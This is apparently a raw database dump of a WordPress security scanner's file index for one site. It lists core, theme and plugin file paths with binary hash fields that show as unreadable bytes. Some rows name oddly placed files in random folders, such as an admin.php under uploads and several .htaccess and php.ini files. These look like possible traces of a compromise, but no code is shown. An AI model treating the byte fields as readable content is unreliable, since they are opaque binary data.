('6dK%s&','wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0Z_^j``','l٩\')d\\v~\')|;Mo	\0','',0,'?'),
('6u@\0M','wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-offset-tagline.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-offset-tagline.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7--\0O\ncƝ','	tSA\\-V`ec@K	','',0,'?'),
('6]jvWk\r3-','wp-admin/load-scripts.php','/home/trevorkl/trevorklee.com/wp-admin/load-scripts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#oG뽝@>T.','8zt=k$&WRΈhV','',0,'?'),
('6ƌC+','wp-includes/sitemaps/providers/class-wp-sitemaps-users.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sHouGk','5JE4߇YoX	#T','',0,'?'),
('6lLX/H3X=E','wp-includes/blocks/template-part/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/template-part/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ed]ĬB\r	','ģ6o_i9-UL9#ܞfz%cSJs','',0,'?'),
('6aH	Z\0','wp-includes/SimplePie/src/Author.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Author.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')&Kl=;#j','nr?9=Ď(0^Ac','',0,'?'),
('6̠,_qu','wp-admin/includes/class-wp-filesystem-ftpext.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-filesystem-ftpext.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#+~6nSd',':|\0gƧgћS>Cٕ','',0,'?'),
('6/퍉k+9\r','wp-content/plugins/loginizer/lib/hybridauth/Adapter/DataStoreTrait.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Adapter/DataStoreTrait.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l(SjmQ#','f񭥆2\Z𾚶=DD','',0,'?'),
('6҈F[N,','wp-includes/class-wp-block-bindings-source.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-bindings-source.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','votȤEe?\Z5','ECƟluas\0&KlZO(nJQ$','',0,'?'),
('6٨	:{^D','wp-includes/js/jquery/ui/accordion.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/accordion.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H%oF,','[aZ \n2z㟘!D_','',0,'?'),
('6pfOlLo','wp-content/themes/twentytwentyfour/patterns/team-4-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/team-4-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','87q!S84',')(Q`ApYcpf	F$%','',0,'?'),
('6@V/\0','wp-includes/blocks/comments/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3mb;rDt8','S|*{\ry]:&;Y','',0,'?'),
('64oo7!6','wp-includes/blocks/post-author-name.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author-name.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1vABRfH','i95PҬp=\rJH2','',0,'?'),
('7\"妿W\rѽ','wp-content/plugins/wordfence/lib/menu_wordfence_central.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_wordfence_central.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mE`dY!+','QepK^J\0ҝ²,@V%RR','',0,'?'),
('7$?>Gy;c','wp-includes/js/dist/script-modules/latex-to-mathml/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/latex-to-mathml/index.js',0,']A  !nI',']A  !nI','XFor@]Rcm:)_','',0,'?'),
('7CYT%$Y','wp-content/plugins/wordfence/lib/wfI18n.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfI18n.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h_k\r&','g=]M((KPV%8\\ᲀڄT7','',0,'?'),
('7C_e	Q0Q','wp-includes/css/dist/preferences/style.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/preferences/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rls:<4','s$_\'tRfG¢~B#yrpH','',0,'?'),
('7Lը,opu','wp-includes/class-wp-url-pattern-prefixer.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-url-pattern-prefixer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ItqHH<\\','\nSD.H<!M攼:zuddI','',0,'?'),
('7RT;%J[Ԡ','wp-includes/js/tinymce/plugins/textcolor/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/textcolor/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('7oj@J Cȿ','wp-includes/blocks/site-title.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"\rz,j`/n|q','0R:^9Qq\'?Ca豷%f','',0,'?'),
('7ruF@J,','wp-content/plugins/wordfence/lib/wfDateLocalization.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfDateLocalization.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MZUUE{','}X)89[4\\!H\"\\}','',0,'?'),
('7|oOUz\0Ef','wp-admin/network/update-core.php','/home/trevorkl/trevorklee.com/wp-admin/network/update-core.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L;G_bu\'\\','v,I/L^ww\ZX12yTɣI~','',0,'?'),
('7%Wy~׹P?x','wp-includes/js/tinymce/skins/wordpress/images/playlist-video.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/playlist-video.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lzV6`wmZBs','\r 8&J34бǽ','',0,'?'),
('7o^l:B','wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	Iݶ3S','!MڒޫDwwe(!=ިd,GW','',0,'?'),
('7@r5','wp-includes/blocks/gallery/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/gallery/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Mod{vð[Lv','=hӣp}|)WR r%%b','',0,'?'),
('7c¢)Seb','wp-includes/js/jquery/ui/menu.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/menu.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(ISpֵ\'ZU','n2v$n\r6,WU[N','',0,'?'),
('7c.$P!\"򹚆','wp-content/plugins/wordfence/images/sort_desc.gif','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_desc.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<j_ˊR2','*-9.HGO6/L):Cdz','',0,'?'),
('7Y|7^\ZVq','wp-includes/blocks/site-logo/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-logo/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&UOSp','OycqdTիf֕͋,,','',0,'?'),
('7kXfXmS','wp-includes/js/dist/vendor/wp-polyfill-fetch.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-fetch.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Hpd5/c,','hqpTB6q29cB]_η_G','',0,'?'),
('72_RD;n','wp-includes/blocks/block/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/block/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H,,Ma','=S3{e4_\r9<|f#7c ','',0,'?'),
('8(+Gt#Q7','wp-content/plugins/akismet/_inc/img/akismet-activation-banner-elements.png','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/img/akismet-activation-banner-elements.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']oBf\r\'#','7H{*A	Q.:7','',0,'?'),
('8*FJJjD׾','wp-includes/css/dist/theme/design-tokens-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/theme/design-tokens-rtl.css',0,'>a*tBp=v\0','>a*tBp=v\0','BD)E,`Y\\+Zby, ','',0,'?'),
('8=Ia%k~','wp-admin/js/editor.js','/home/trevorkl/trevorklee.com/wp-admin/js/editor.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';6ƺZp\0C[','g\0A@\\S)~d^U','',0,'?'),
('8?6B\rpl2Rx','wp-content/wflogs/config-synced.php','/home/trevorkl/trevorklee.com/wp-content/wflogs/config-synced.php',0,'\rJܠ{*Ѻ','\rJܠ{*Ѻ',':J !kF2Ɨg)JH','',0,'?'),
('8VݨJ*kD\r','wp-includes/html-api/class-wp-html-attribute-token.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-attribute-token.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.WWnjTU','Rs_KqDDMk\rOH','',0,'?'),
('8W8ƨrdZ9','wp-includes/blocks/navigation-link/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\\\w)S{','q|\0AЋyC%PSTŝ5y','',0,'?'),
('8YvC[,','wp-content/plugins/wordfence/crypto/vendor/composer/autoload_psr4.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/composer/autoload_psr4.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v(	-#','8p/m{B}l\"IhHrL','',0,'?'),
('8`9p*;p0cAc','wp-includes/blocks/comment-author-name/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-author-name/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j\r,zUT\r','phUQvIȶV9[\r(Qa','',0,'?'),
('8oORF\'','wp-includes/class-wp-block-bindings-registry.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-block-bindings-registry.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5^*x8','({/&bvmX9h','',0,'?'),
('8q|alċ\nV','wp-content/themes/twentytwentyfour/patterns/hidden-no-results.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-no-results.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SFtma`gf','Ŏ0<~}B۴j`͌猪U','',0,'?'),
('8|I$\'.Ɗ~(','wp-includes/sitemaps/sqh1xut/mjntoed/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/sqh1xut/mjntoed/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('8>\n!H','wp-includes/blocks/navigation-link/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-link/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ƀdU.A(t','0aI@h0u~Ѭ','',0,'?'),
('8R6DHq-{:`','wp-admin/includes/translation-install.php','/home/trevorkl/trevorklee.com/wp-admin/includes/translation-install.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&}*vI','Kp3lu\'X;6-]V-%','',0,'?'),
('8@)6yg[ysQR','wp-admin/css/deprecated-media-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/deprecated-media-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','JWt>Um \n','OǢMD#衿H\"#;','',0,'?'),
('8w9Ќ|','wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/.828e0013b8.meta','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/mpdvuix/.828e0013b8.meta',0,'KYMֲLQ','KYMֲLQ','\'\0\r.><f*h(0-h\"	','',0,'?'),
('8(	)E','wp-content/uploads/ewncuos/rzkntb1/d1kvmfi/admin.php','/home/trevorkl/trevorklee.com/wp-content/uploads/ewncuos/rzkntb1/d1kvmfi/admin.php',0,'v\\{wIm','v\\{wIm','3Bv*Lt:\'hMLo \r>','',0,'?'),
('8ÛZEQ$}UPT','wp-content/plugins/wordfence/lib/wfCrawl.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfCrawl.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','vFtin=T','	n2)Ƅt/۫','',0,'?'),
('8MӐ\'HiW','wp-includes/sitemaps/ufbsx1k/gzkrwvm/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ufbsx1k/gzkrwvm/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('8~#K9{u%yR','wp-includes/js/dist/widgets.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/widgets.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nQ4_','Azx熻0D*=x4/T}ʳ','',0,'?'),
('8Gxo\\U[','wp-content/themes/twentytwentyone/assets/sass/06-components/widgets.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/widgets.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','։(ΰc?k(YW','rtPSsx\0˖☤xA|.','',0,'?'),
('8ܞt\ZwNxa','wp-includes/class-wp-network.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-network.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^~H(ɮ\0','M\"VbO2557)}|\nsq|\nw\"\\5','',0,'?'),
('8%[q=jP!o','wp-content/plugins/wordfence/modules/login-security/views/passkey/initial-allowed-hostnames.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/initial-allowed-hostnames.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oH\\RC*','ae1s\\IIю@J)g^o)','',0,'?'),
('8Q\0Z+%','wp-includes/blocks/query-total/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-total/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','![om{Rc\'2h','5PG@~V\Zxjc?&Hc\rĶZTcא','',0,'?'),
('9\r5\'X>?','wp-includes/js/customize-preview-widgets.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview-widgets.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y}xc&','(]PUP\'L2n\Z\n','',0,'?'),
('9ψ[1d{@','wp-includes/class.wp-styles.php','/home/trevorkl/trevorklee.com/wp-includes/class.wp-styles.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x$Ϗ/','\rW|Kx}ZgOy-aϷ','',0,'?'),
('9:do\np`Ry','wp-includes/js/tinymce/langs/wp-langs-en.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/langs/wp-langs-en.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':w,]^!s','[ l	̚yH-\09P@','',0,'?'),
('9L>h9³k\"','wp-includes/blocks/navigation/view.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/view.min.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tdU)^kՃ','O\"TwQ=`6vJ\'S+\\Q^','',0,'?'),
('9\\4;J;u~','wp-admin/images/freedom-4.svg','/home/trevorkl/trevorklee.com/wp-admin/images/freedom-4.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mR%L$輬','zThLS2:#5Ja[vs','',0,'?'),
('9ksB=}TŃc7','wp-includes/sodium_compat/src/Core/Poly1305/State.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C\0n`i>]','q㋵\'NN{QN','',0,'?'),
('9wv\r^!C','wp-includes/blocks/image/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/image/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XQy5>xA\Z','}|YJ|2g&FiƣTQ~W','',0,'?'),
('9} B^?	\"','wp-includes/script-loader.php','/home/trevorkl/trevorklee.com/wp-includes/script-loader.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B.͋R','o7\rࣂ?vj^|p2W	','',0,'?'),
('9yS	pV6=','wp-includes/blocks/quote/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/quote/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1Un00sC','K[|wb8c5Ua?%˾2ft','',0,'?'),
('9ϖ9-','wp-includes/sitemaps/ntueyzv/yvqrbhm/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/.htaccess',0,'q	n\03%Y','q	n\03%Y',';:3d$,KNnNpR6A','',0,'?'),
('9g~COz','wp-includes/block-supports/auto-register.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/auto-register.php',0,'j-ZIS','j-ZIS','|Z{L2וo0]	@lSaL','',0,'?'),
('9 {b\nJcF=lY','wp-includes/blocks/query-pagination.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CmzZ*sJ','ǩ/DHm~^6zZȹj#$\'3','',0,'?'),
('9Ce;Y#v|z','wp-includes/blocks/audio/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~R0W@y_','vC~Qk[s2B\nǩza|n#','',0,'?'),
('9ĠZq:j\nU9(\Z\0','wp-content/themes/twentynineteen/template-parts/footer/footer-widgets.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/template-parts/footer/footer-widgets.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W;nM|=','S/lLumlG*DU','',0,'?'),
('9s3SZ,p8g','wp-includes/images/media/text.png','/home/trevorkl/trevorklee.com/wp-includes/images/media/text.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zs0ȝQK','g?[D*p8qVѓ>N','',0,'?'),
(':{{79','wp-admin/link.php','/home/trevorkl/trevorklee.com/wp-admin/link.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','݇χpm1bЯ0','\"參35\ZZ8q41|\ng*g<!h:g+$','',0,'?'),
(':|LH6(cg','wp-includes/ID3/module.audio.ogg.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.audio.ogg.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Gk\"QV{','i=YS\r ?1NMv','',0,'?'),
(':!\\ZHgsX','wp-includes/block-bindings.php','/home/trevorkl/trevorklee.com/wp-includes/block-bindings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','J`4','	kDW$sەkk\0','',0,'?'),
(':<$0,w\"&e({','wp-includes/class-feed.php','/home/trevorkl/trevorklee.com/wp-includes/class-feed.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':%ɕ<ۼL%l','ǖ&GJ*\\$BawD','',0,'?'),
(':DJ$hǅ\r','wp-admin/js/customize-nav-menus.js','/home/trevorkl/trevorklee.com/wp-admin/js/customize-nav-menus.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m2Y]bf','yHXĹM:mihbٱ-|','',0,'?'),
(':K4Vb2','wp-includes/js/dist/script-modules/workflow/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/workflow/index.js',0,'VqoGrbuw','VqoGrbuw','Xb=9e\\ \",.2\'cA݂ش','',0,'?'),
(':\\ܹ\r@L\":U','wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-status.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/template-parts/excerpt/excerpt-status.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','羠#F','Mx0/UE~I[c8$R&','',0,'?'),
(':hO^Y','wp-includes/fonts/class-wp-font-library.php','/home/trevorkl/trevorklee.com/wp-includes/fonts/class-wp-font-library.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6?A<Mw*JRJ','k\0lnx	š+\'+:','',0,'?'),
(':mReZ)\'+8','wp-admin/css/colors/modern/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/colors/modern/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(':o\\[\"','wp-content/themes/twentytwentyfive/patterns/media-instagram-grid.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/media-instagram-grid.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`ձ_	ɔ5c','gG3.Ww&+c&R(cH','',0,'?'),
(':%H`!\rZ','wp-admin/js/media-gallery.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/media-gallery.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%gUsbK','OH+ܽg\"{CvFBt1','',0,'?'),
(':27t','wp-content/themes/twentytwentytwo/templates/404.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/404.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8om,*\0','5K)`0U	dsͳT','',0,'?'),
(':%(v5q0','wp-content/themes/twentytwentyone/single.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/single.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0ײO\r|','aTt.t:,vpڊ\0','',0,'?'),
(':s-(BO2)','wp-includes/blocks/cover/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~E\n6:8خs','Ma纴ǲv50>7ݕ\n:','',0,'?'),
(':XqݝJ\\5P4','wp-includes/images/spinner.gif','/home/trevorkl/trevorklee.com/wp-includes/images/spinner.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L\nD\noًj˲','zƄ\Z\"n\Zs(U/~7F^','',0,'?'),
(':n̣RMti#=','wp-includes/images/media/audio.png','/home/trevorkl/trevorklee.com/wp-includes/images/media/audio.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','taCA.Z','L>$\noixoj-\nL]G;q','',0,'?'),
(';bfȖ0x','wp-admin/css/colors/midnight/colors.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/midnight/colors.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P756^XHJU','s>%+yMJh WWX\rOM','',0,'?'),
(';ܒscF!','wp-includes/css/dist/components/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/components/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','s\'30','\nF^&-}sqQғs','',0,'?'),
(';7əA','wp-includes/Requests/src/Exception/Http/Status304.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status304.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p]:}l\rw','2gl;\0P\'&Ka;Ӫply2\"0$h\n','',0,'?'),
(';*dҼ','wp-content/plugins/loginizer/lib/hybridauth/Exception/UnexpectedValueException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/UnexpectedValueException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<,4}?%%<','\r`Sw|	ُS˖','',0,'?'),
(';,^}\0q0','wp-includes/blocks/footnotes/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/footnotes/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(';1ы#Y_Nt','wp-settings.php','/home/trevorkl/trevorklee.com/wp-settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','hP:kQ$\0ʑ	%','8\ZE,D\ZjKP*cW\0PCK5A','',0,'?'),
(';Q-:@(:85M','wp-content/themes/twentytwentytwo/assets/images/ducks.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/ducks.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x1l9	','2(|cmUvtPV&','',0,'?'),
(';Q}]]UK}9o','wp-includes/blocks/post-terms/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-terms/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z^kNұ\Z)','?㷷(s\'˭#l<RTe','',0,'?'),
(';RcJ,SA','wp-content/themes/twentytwentyone/assets/sass/05-blocks/button/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/button/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<E','THdyx? mP}63V','',0,'?'),
(';RyhRxK\r','wp-admin/js/farbtastic.js','/home/trevorkl/trevorklee.com/wp-admin/js/farbtastic.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rJgrTb;un*','M_`9h*/s','',0,'?'),
(';W/&*8','wp-includes/SimplePie/library/SimplePie/Rating.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Rating.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z\0Wuʖu+Xk','-\\R/0򽌭zA&~/','',0,'?'),
(';nCg7$;_','wp-includes/blocks/media-text/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/media-text/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+,Abۙig\rR','f# mǪ!u\0Dz','',0,'?'),
(';qPď酨BW$','wp-includes/blocks/post-content/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-content/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q@EXbnpeН','V2, `\ZͯM&\\xFq[Ɵ','',0,'?'),
(';yJNG)e','wp-content/themes/twentytwenty/assets/css/font-inter.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/css/font-inter.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','QiYV#[Otz','4_,kN-H<:i2LYkve/','',0,'?'),
(';#Ri]','wp-includes/SimplePie/src/Net/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Net/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(';֎&|wdWOǏ','wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/php.ini','/home/trevorkl/trevorklee.com/wp-includes/html-api/1xhyzgt/xahpzbq/mpcxgqh/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
(';v0BK1д','wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+o~Xݓ\0','xXѹ$6UdZ$x&3','',0,'?'),
(';8:V=\r6\\','wp-includes/js/dist/script-modules/latex-to-mathml/loader.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/latex-to-mathml/loader.min.asset.php',0,'U\nFr*<C','U\nFr*<C','VsP-4\0/\n9;kԷ\"zg','',0,'?'),
(';2yTWKsa','wp-includes/blocks/table/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^q%mZ,1','WO)j)Ag3$0$[m','',0,'?'),
(';Wct*+Br','wp-includes/images/smilies/icon_surprised.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_surprised.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U-#+0?','cuyXؓAd5[=w>*Spwe._','',0,'?'),
(';*1\Zn4','wp-includes/js/wp-emoji-loader.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-emoji-loader.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_RvXz&	]','/j;6?d4!o_ҍʢ7h_`v','',0,'?'),
